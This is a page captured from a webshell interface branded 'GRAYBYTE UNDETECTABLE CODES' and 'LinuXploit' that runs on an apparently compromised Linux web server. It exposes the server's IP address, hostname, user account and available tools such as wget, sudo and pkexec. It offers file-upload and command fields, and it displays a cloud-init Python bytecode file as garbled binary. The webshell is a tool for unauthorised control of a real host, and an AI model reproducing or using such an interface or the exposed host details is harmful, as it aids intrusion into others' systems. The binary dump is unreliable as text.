- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.117.156.84
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/mergers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/mergers/__pycache__/m_dict.cpython-36.pyc
3

\�me}
�@s&dZdefZdd�ZGdd�d�ZdS)�
no_replace�replacecGsx|D]}||krdSqWdS)NTF�)Zwhat�keys�krr�/usr/lib/python3.6/m_dict.py�_has_anys
rc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�MergercCsV||_t|_xtD]}||kr||_PqWd|k|_t|dd�|_d|k|_d|_dS)NZrecurse_strZ
recurse_arrayZrecurse_listZallow_deleteT)	�_merger�DEF_MERGE_TYPE�_method�MERGE_TYPES�_recurse_strr�_recurse_array�
_allow_delete�
_recurse_dict)�selfZmergerZopts�mrrr�__init__s


zMerger.__init__cCs$d}||j|j|j|j|jf}|S)NzWDictMerger: (method=%s,recurse_str=%s,recurse_dict=%s,recurse_array=%s,allow_delete=%s))rr
rrr)r�srrr�__str__%s
zMerger.__str__csf��fdd�}xR|j�D]F\}}||krV|dkrB�jrB|j|�q^||||�||<q|||<qW|S)Ncsj�r|St|ttf�r*�jr*�jj||�St|t�rH�jrH�jj||�St|t�rf�j	rf�jj||�S|S)N)
�
isinstance�list�tuplerr	�merge�strr
�dictr)Zold_vZnew_v)�
do_replacerrr�merge_same_key4sz/Merger._do_dict_replace.<locals>.merge_same_key)�itemsr�pop)r�value�
merge_withrrr�vr)rrr�_do_dict_replace3szMerger._do_dict_replacecCs\t|t�s|S|jdkr,|jt|�|d�}n,|jdkrJ|jt|�|d�}ntd|j��|S)NrTrFzUnknown merge type %s)rrrr#�NotImplementedError)rr r!Zmergedrrr�_on_dictJs


zMerger._on_dictN)�__name__�
__module__�__qualname__rrr#r%rrrrrsrN)r
rrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit